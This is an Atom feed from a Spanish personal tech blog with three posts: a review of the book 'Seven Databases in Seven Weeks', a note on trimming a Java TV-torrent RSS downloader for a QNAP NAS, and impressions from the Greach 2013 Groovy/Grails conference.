<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10spanishfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;DkIAQnY-fip7ImA9WhBWFkQ.&quot;"><id>tag:blogger.com,1999:blog-12666448</id><updated>2013-04-11T17:35:43.856+02:00</updated><category term="Personal" /><category term="Software Libre" /><category term="TomTom" /><category term="Emule" /><category term="GWT" /><category term="Hack" /><category term="Kriptopolis" /><category term="Samba" /><category term="Hibernate" /><category term="Bug" /><category term="Geek" /><category term="Kernel" /><category term="Windows" /><category term="D-Link" /><category term="NAS" /><category term="Oracle" /><category term="3G" /><category term="Google Earth" /><category term="HTPC" /><category term="Backup" /><category term="Canon" /><category term="iPod" /><category term="Greach" /><category term="VAAPI" /><category term="Fotografía" /><category term="Grails" /><category term="Push" /><category term="Starwars" /><category term="Truecrypt" /><category term="WakeOnLan" /><category term="Spring" /><category term="Apache" /><category term="Video" /><category term="Analisis Patrocinados" /><category term="books reviews" /><category term="Raid" /><category term="SMS" /><category term="HP" /><category term="MySQL" /><category term="Internet" /><category term="ODF" /><category term="Google Reader" /><category term="LVM" /><category term="CompizFusion" /><category term="Subversion" /><category term="Google Wave" /><category term="Debian" /><category term="Google Code" /><category term="Wii" /><category term="Linksys" /><category term="Barrapunto" /><category term="Nagios" /><category term="Java" /><category term="Blogger" /><category term="FreeNAS" /><category term="Groovy" /><category term="Google" /><category term="OpenSolaris" /><category term="Tomcat" /><category term="Firefox" /><category term="VMware ESX" /><category term="Linux" /><category term="H.264" /><category term="Wifi" /><category term="Google Calendar" /><category term="ATI" /><category term="Flickr" /><category term="GPS" /><category term="Hardware" /><category term="Ubuntu" /><category term="Nueva York" /><category term="Tecnología" /><category term="Irda" /><category term="iLO" /><category term="Fonera" /><category term="PocketPC" /><category term="Blog" /><title>Blog de Iván López</title><subtitle type="html">En este blog iré contando cosas de la informática, linux, hardware, cacharreos,... en general un blog friki-geek ;-)</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://lopezivan.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>190</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/BlogDeIvanLopez" /><feedburner:info uri="blogdeivanlopez" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><link rel="license" type="text/html" href="http://creativecommons.org/licenses/by-nc-sa/3.0/" /><logo>http://bp0.blogger.com/_z1x0O4Pd0Sk/RrLS8YvHsgI/AAAAAAAAABE/9ubOLr9WuM8/s1600/TuxVader_64x64.png</logo><feedburner:emailServiceId>BlogDeIvanLopez</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FBlogDeIvanLopez" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/BlogDeIvanLopez" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2FBlogDeIvanLopez" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2FBlogDeIvanLopez" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FBlogDeIvanLopez" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://add.my.yahoo.com/content?lg=es&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2FBlogDeIvanLopez" src="http://eur.i1.yimg.com/eur.yimg.com/i/es/my/addto1.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.feedness.com/alta/http://feeds.feedburner.com/BlogDeIvanLopez" src="http://www.feedness.com/ayuda/wp-content/square_b_sh_feed.gif">Subscribe with Feedness</feedburner:feedFlare><entry gd:etag="W/&quot;DUQARXY4fSp7ImA9WhBWEkU.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-3184700963556955271</id><published>2013-04-07T00:29:00.000+02:00</published><updated>2013-04-07T00:29:04.835+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-04-07T00:29:04.835+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="books reviews" /><title>Leído: Seven Databases in Seven Weeks</title><content type="html">&lt;a href="http://1.bp.blogspot.com/-2XYqioj6IG0/UTNpgHFVk2I/AAAAAAAABks/3COM9syRPug/s1600/rwdata.resized.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://1.bp.blogspot.com/-2XYqioj6IG0/UTNpgHFVk2I/AAAAAAAABks/3COM9syRPug/s400/rwdata.resized.jpg" width="332" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Con este artículo empiezo una serie en el blog en los que iré contando mi opinión sobre distintos libros técnicos que voy leyendo. Uno de mis propósitos para este año es lograr sacar tiempo para leer 5 ó 6 libros técnicos y, a ser posible, que no estén relacionados unos con otros ni estén centrados en un campo específico.&lt;br /&gt;
&lt;br /&gt;
Así, empezamos con &lt;a href="http://pragprog.com/book/rwdata/seven-databases-in-seven-weeks"&gt;Seven Databases in Seven Weeks: A Guide to Modern Databases and the NoSQL Movement&lt;/a&gt;. A lo largo del libro hemos visto distintas bases de datos de distintos paradigmas. Desde las clásicas relacionales, hasta las modernas NoSQL con sus distintas variantes: orientadas a documentos, clave-valor, basada en columnas hasta las orientadas a grafos.&lt;br /&gt;
&lt;br /&gt;
El libro no pretende ser una guía del DBA para cada una de esas bases de datos ni tampoco un manual de instalación de cada una de ellas, sino que directamente nos va mostrando distintas características de cada una a través de diversos ejemplos. También se centra en los distintos criterios que debemos tener en cuenta a la hora de elegir una u otra y destaca sus puntos fuertes y deficiencias.&lt;br /&gt;
&lt;br /&gt;
Las bases de datos que se muestran, en el mismo orden de aparición son:&lt;br /&gt;
- &lt;b&gt;PostgreSQL&lt;/b&gt;: Se trata de una de las base de datos opensource relacionales más potentes que existen en la actualidad. Aunque personalmente llevo utilizándola varios años, aprendí muchas cosas de tipos nativos, array n-dimensionales y búsquedas full text search.&lt;/li&gt;&lt;br /&gt;
- &lt;b&gt;Riak&lt;/b&gt;: Entra dentro de la categoría de clave-valor aunque añade conceptos muy interesantes como un completo interfaz REST y enlaces entre campos de distintas relaciones.&lt;/li&gt;&lt;br /&gt;
- &lt;b&gt;HBase&lt;/b&gt;: Es una base de datos orientada a columnas. Aunque inicialmente parece una base de datos relacional tal cual, ya en la introducción nos indican claramente que no es la típica base de datos que utilizaremos para nuestro pequeño catálogo de productos, sino que debemos tener muchos gigabytes o terabytes de datos para aprovecharla realmente. Al estar diseñada para un gran volumen de datos, el escalado es muy fácil de implementar. Otras cosas interesantes son el versionado automático de columnas y la compresión nativa de datos.&lt;br /&gt;
- &lt;b&gt;MongoDB&lt;/b&gt;: Probablemente sea una de las bases de datos NoSQL más conocidas en la actualidad. El hecho de que sitios como Foursquare estén implementados con MongoDB le ha dado mucha fama. MongoDB encaja en la categoría de bases de datos orientadas a documentos, donde su principal característica es ser &lt;i&gt;schemaless&lt;/i&gt;, es decir, no obligar a tener un esquema definido en las colecciones. Los documentos son JSON y entre sus principales características destacan la replicación de los datos y el sharding de grandes colecciones.&lt;br /&gt;
- &lt;b&gt;CouchDB&lt;/b&gt;: Al igual que MongoDB, CouchDB es una base de datos orientada a documentos JSON y con interfaz REST. Una de sus principales características es que está diseñada para funcionar desde en un teléfono Android, en un pc hasta en un Datacenter.&lt;br /&gt;
- &lt;b&gt;Neo4J&lt;/b&gt;: Se trata de una base de datos orientada a grafos. Es ideal para modelar tipos de relaciones de amistad, gustos,... Su principal lema es &lt;i&gt;"si puedes dibujarlo como cajas y líneas en una pizarra, entonces puedes almacenarlo en Neo4J"&lt;/i&gt;. Me ha impresionado porque es un nuevo paradigma de bases de datos para mí y sirve para cambiar el chip. &lt;br /&gt;
- &lt;b&gt;Redis&lt;/b&gt;: La base de datos clave-valor por excelencia. Además posee numerosas operaciones para realizar todo tipo de operaciones: rankings ordenados, listas,... &lt;br /&gt;
&lt;br /&gt;
Para terminar, añadiré que la lectura del libro es amena y cómoda. Cada capítulo está dividido en "3 días" y al final de cada día se incluyen una serie de ejercicios para practicar y afianzar lo aprendido. En mi caso, los ejercicios no los he podido hacer porque me llevarían demasiado tiempo (del que no dispongo). Aún así, estoy contento con lo aprendido a lo largo del libro que me ha servido para conocer otro tipo de bases de datos para utilizar en el futuro si los problemas a resolver lo requieren.&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=8SOencsbCHU:gmHfKpYrpfQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=8SOencsbCHU:gmHfKpYrpfQ:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=8SOencsbCHU:gmHfKpYrpfQ:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=8SOencsbCHU:gmHfKpYrpfQ:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=8SOencsbCHU:gmHfKpYrpfQ:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=8SOencsbCHU:gmHfKpYrpfQ:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=8SOencsbCHU:gmHfKpYrpfQ:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=8SOencsbCHU:gmHfKpYrpfQ:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=8SOencsbCHU:gmHfKpYrpfQ:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=8SOencsbCHU:gmHfKpYrpfQ:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/8SOencsbCHU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/3184700963556955271/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2013/04/leido-seven-databases-in-seven-weeks.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3184700963556955271?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3184700963556955271?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/8SOencsbCHU/leido-seven-databases-in-seven-weeks.html" title="Leído: Seven Databases in Seven Weeks" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-2XYqioj6IG0/UTNpgHFVk2I/AAAAAAAABks/3COM9syRPug/s72-c/rwdata.resized.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2013/04/leido-seven-databases-in-seven-weeks.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk4NSX4zeSp7ImA9WhBREk4.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-9016772247863925767</id><published>2013-03-02T15:36:00.000+01:00</published><updated>2013-03-02T15:36:38.081+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-03-02T15:36:38.081+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tecnología" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><title>Descargando torrents desde un QNAP (y II)</title><content type="html">Este artículo continua justo donde acabó &lt;a href="http://lopezivan.blogspot.com.es/2013/01/descargando-torrents-desde-un-qnap-i.html"&gt;el anterior&lt;/a&gt;. Como comentaba al final del mismo, el principal problema de TV Torrent RSS es la gestión de filtros. Por cada nueva serie que añado en la web &lt;a href="http://showrss.karmorra.info/"&gt;Show RSS&lt;/a&gt; tengo que entrar en el NAS y añadir el nuevo filtro en el archivo de properties de TvRss.&lt;br /&gt;
Por suerte, se trata de un proyecto open source en el que el &lt;a href="https://sourceforge.net/scm/?type=svn&amp;group_id=280335"&gt;código fuente&lt;/a&gt; se encuentra disponible. Está desarrollado en Java, así que por este lado no tenía ningún problema adicional. &lt;br /&gt;
Me puse manos a la obra, lo descargué, empecé a analizarlo y hacer algunas pruebas y lo modifiqué para eliminar toda la funcionalidad de los filtros que no necesitaba. De paso me decidí por aligerar ("bamedizar" que decimos por &lt;a href="http://kaleidos.net/"&gt;Kaleidos&lt;/a&gt;) el código. Así, bajé de las 22 clases Java iniciales a sólo 7 :-), eliminando el soporte de envío de emails y toda la lógica para poder utilizar los filtros que ya no es necesaria. Además, al no tener que comprobar para cada .torrent todos los filtros para ver si hay que descargarlo o no, la ejecución ahora es mucho más rápida.&lt;br /&gt;
También aproveché para añadir la librería &lt;i&gt;log4j&lt;/i&gt; ya que el logging se estaba haciendo simplemente con println, eliminé las librerías que no eran necesarias y reorganicé el resto. Finalmente actualicé el archivo &lt;i&gt;ant&lt;/i&gt; que se utiliza para la construcción del proyecto.&lt;br /&gt;
&lt;br /&gt;
El resultado está publicado en mi &lt;a href="https://github.com/lmivan/tvtorrentrss"&gt;cuenta de Github&lt;/a&gt; junto con las instrucciones para ejecutarlo. Ahora simplemente lanzo un script todos los días por medio del crontab y mi nueva versión de TvRss se descarga todos los archivos incluyendo versiones proper, repacks, en 720p, en calidad normal y todo sin tener que hacer nada adicional.&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=Kqxxi_ss-Mg:cl6ZHV4vpo4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=Kqxxi_ss-Mg:cl6ZHV4vpo4:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=Kqxxi_ss-Mg:cl6ZHV4vpo4:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=Kqxxi_ss-Mg:cl6ZHV4vpo4:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=Kqxxi_ss-Mg:cl6ZHV4vpo4:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=Kqxxi_ss-Mg:cl6ZHV4vpo4:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=Kqxxi_ss-Mg:cl6ZHV4vpo4:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=Kqxxi_ss-Mg:cl6ZHV4vpo4:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=Kqxxi_ss-Mg:cl6ZHV4vpo4:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=Kqxxi_ss-Mg:cl6ZHV4vpo4:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/Kqxxi_ss-Mg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/9016772247863925767/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2013/03/descargando-torrents-desde-un-qnap-y-ii.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/9016772247863925767?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/9016772247863925767?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/Kqxxi_ss-Mg/descargando-torrents-desde-un-qnap-y-ii.html" title="Descargando torrents desde un QNAP (y II)" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><thr:total>0</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2013/03/descargando-torrents-desde-un-qnap-y-ii.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEEAQn88fCp7ImA9WhBTEk8.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-3796028279786721767</id><published>2013-01-27T23:58:00.000+01:00</published><updated>2013-02-07T08:37:23.174+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-02-07T08:37:23.174+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Greach" /><category scheme="http://www.blogger.com/atom/ns#" term="Groovy" /><category scheme="http://www.blogger.com/atom/ns#" term="Grails" /><title>Ponente en Greach 2013 e impresiones</title><content type="html">El pasado viernes 25 de Enero empezó la 2ª Edición de &lt;a href="http://greach.es"&gt;Greach&lt;/a&gt; que en esta ocasión ha durado dos días. Este año he tenido la suerte de asistir como ponente y dar una charla con el título &lt;a href="http://greach.es/sessions-2013/ivan-lopez-martin-todo-lo-que-me-hubiera-gustado-saber-cuando-empece-a-desarrollar-con-grails"&gt;Todo lo que me hubiera gustado saber cuando empecé a desarrollar con Grails&lt;/a/&gt;. Al principio estaba muy nervioso pero al final todo salió muy bien. De hecho, mucha gente me comentó después que les había gustado mucho la charla y que habían aprendido unas cuantas cosas. ¡Muchas gracias a todos!&lt;br /&gt;
&lt;br /&gt;
Respecto al resto de las charlas, mis comentarios:&lt;br /&gt;
&lt;b&gt;1.- Keynote Groovy 2.0 update:&lt;/b&gt; Cedric Champeau fue el encargado de la Keynote de apertura. En esta ocasión Guillaume Laforge no pudo venir aunque conectamos con él via chat y anunció la publicación de Groovy 2.1.0 en la Keynote. La keynote fue muy parecida a la que vi en diciembre en el &lt;a href="http://lopezivan.blogspot.com.es/2012/12/groovy-grails-exchange-2012-en-londres.html"&gt;Grails Exchange de Londres&lt;/a&gt;.&lt;br /&gt;
&lt;b&gt;2.- Road to Grails 3.0:&lt;/b&gt; Graeme Rocher fue el encargado de contarnos la novedades que vendrán en las próximas versiones de Grails.&lt;br /&gt;
&lt;b&gt;3.- Hybrid mobile app in minutes, not days:&lt;/b&gt; Charla por Fabrice Matrat, Sebastien Blanc y Corinne Krych que crearon en 45 minutos un pequeño clon de Foursquare con el plugin &lt;a href="http://grails.org/plugin/html5-mobile-scaffolding"&gt;html5 mobile scaffolding&lt;/a&gt;. La charla fue muy interesante y la parodia que hicieron durante la presentación fue muy divertida. "Hello, Mr.very-very-rich man" :-P&lt;br /&gt;
&lt;b&gt;4.- Test motherFucker... Test!!!:&lt;/b&gt; Mario García nos contó qué plugins utiliza él durante los tests de sus aplicaciones Grails y cual es la aproximación que realiza a la hora de testear la aplicación.&lt;br /&gt;
&lt;b&gt;5.- Cómo crear una plataforma de libros electrónicos:&lt;/b&gt; Roberto Martin y Alberto Vilches nos contaron su experiencia real en una plataforma de libros electrónicos, los problemas que han ido encontrando y cómo los han superado.&lt;br /&gt;
&lt;b&gt;6.- vert.x - Effortless asynchronous application development for the modern web and enterprise:&lt;/b&gt; Aunque inicialmente la charla la iba a dar Stuart Williams, al final no pudo asistir y fue su compañero Stéphane Maldini el que la dio. No estuvo mal aunque me esperaba un poco más.&lt;br /&gt;
&lt;b&gt;7.- Buscando (y encontrando) la pareja ideal. Taller de desarrollo de aplicaciones Web con Grails 2&lt;/b&gt;: Taller para el desarrollo de una aplicación Grails por parte de Fernando Redondo. Aunque muchas cosas ya las sabía, aprendí algún pequeño truco.&lt;br /&gt;
&lt;b&gt;8.- A GPars Programming Workshop:&lt;/b&gt; Taller de lujo con Russel Winder sobre GPars. Aunque fue un taller la verdad es que no hubo demasiado tiempo para programar.&lt;br /&gt;
&lt;b&gt;9.- From big-GORM-centered into a cloud of fast nodes:&lt;/b&gt; Jorge Uriarte nos contó cómo han adaptado la plataforma TicketBis desde una "simple" aplicación Grails con tomcat, mysql, terracotta,... a una más moderna con Redis y nodos "ligeros" para poder seguir creciendo y soportando la carga.&lt;br /&gt;
&lt;b&gt;10.- Testing the Grails Spring Security Plugins:&lt;/b&gt; Interesante charla de Burt Beckwith en la que nos mostraba distintas alternativas para probar Spring Security.&lt;br /&gt;
&lt;b&gt;11.- Building a scalable API with Grails:&lt;/b&gt; Tanausú Cerdeña nos contó cual fue el proceso de creación y las distintas decisiones de diseño que tomaron en la creación del API de Geosophic.&lt;br /&gt;
&lt;br /&gt;
Como veis, dos días muy intensos llenos de Groovy/Grails y demás tecnologías.&lt;br /&gt;
&lt;br /&gt;
No quiero terminar sin dar la enhorabuena a Alberto Vilches por el gran trabajo de estos últimos meses y por arriesgar tanto para dar lo mejor a todo el mundo: Cambio de ubicación a un hotel en pleno centro de Madrid en lugar de en las afueras, dos días de conferencias en lugar de uno, aumento del precio de 10€-20€ a 90€-120€ (si compraba en early-bird o no), comida excelente en el restaurante del hotel,... Creo que ha sido magnífico y todos hemos quedado encantados. ¡Kudos!&lt;br /&gt;
&lt;br /&gt;
Ah, y finalmente, por si hay algún interesado, las slides de mi charla:&lt;br /&gt;
&lt;center&gt;&lt;iframe src="http://www.slideshare.net/slideshow/embed_code/16182025" width="512" height="421" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC;border-width:1px 1px 0;margin-bottom:5px" allowfullscreen webkitallowfullscreen mozallowfullscreen&gt; &lt;/iframe&gt; &lt;div style="margin-bottom:5px"&gt;&lt;strong&gt; &lt;a href="http://www.slideshare.net/ilopmar/todo-lo-que-me-hubiera-gustado-saber-cuando-empec-a-desarrollar-con-grails" title="Todo lo que me hubiera gustado saber cuando empecé a desarrollar con grails" target="_blank"&gt;Todo lo que me hubiera gustado saber cuando empecé a desarrollar con grails&lt;/a&gt; &lt;/strong&gt; from &lt;strong&gt;&lt;a href="http://www.slideshare.net/ilopmar" target="_blank"&gt;Iván López&lt;/a&gt;&lt;/strong&gt; &lt;/div&gt;&lt;/center&gt;&lt;br /&gt;
ACTUALIZADO: Ya está disponible el video, aunque es una pena que los primeros 2-3 minutos de la presentación no estén.&lt;br /&gt;
&lt;center&gt;&lt;iframe width="560" height="315" src="http://www.youtube.com/embed/gIim712HEBI" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=DXnv5mdo5KA:eut8lGc9DD8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=DXnv5mdo5KA:eut8lGc9DD8:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=DXnv5mdo5KA:eut8lGc9DD8:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=DXnv5mdo5KA:eut8lGc9DD8:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=DXnv5mdo5KA:eut8lGc9DD8:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=DXnv5mdo5KA:eut8lGc9DD8:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=DXnv5mdo5KA:eut8lGc9DD8:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=DXnv5mdo5KA:eut8lGc9DD8:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=DXnv5mdo5KA:eut8lGc9DD8:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=DXnv5mdo5KA:eut8lGc9DD8:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/DXnv5mdo5KA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/3796028279786721767/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2013/01/ponente-en-greach-2013-e-impresiones.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3796028279786721767?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/3796028279786721767?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/DXnv5mdo5KA/ponente-en-greach-2013-e-impresiones.html" title="Ponente en Greach 2013 e impresiones" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/gIim712HEBI/default.jpg" height="72" width="72" 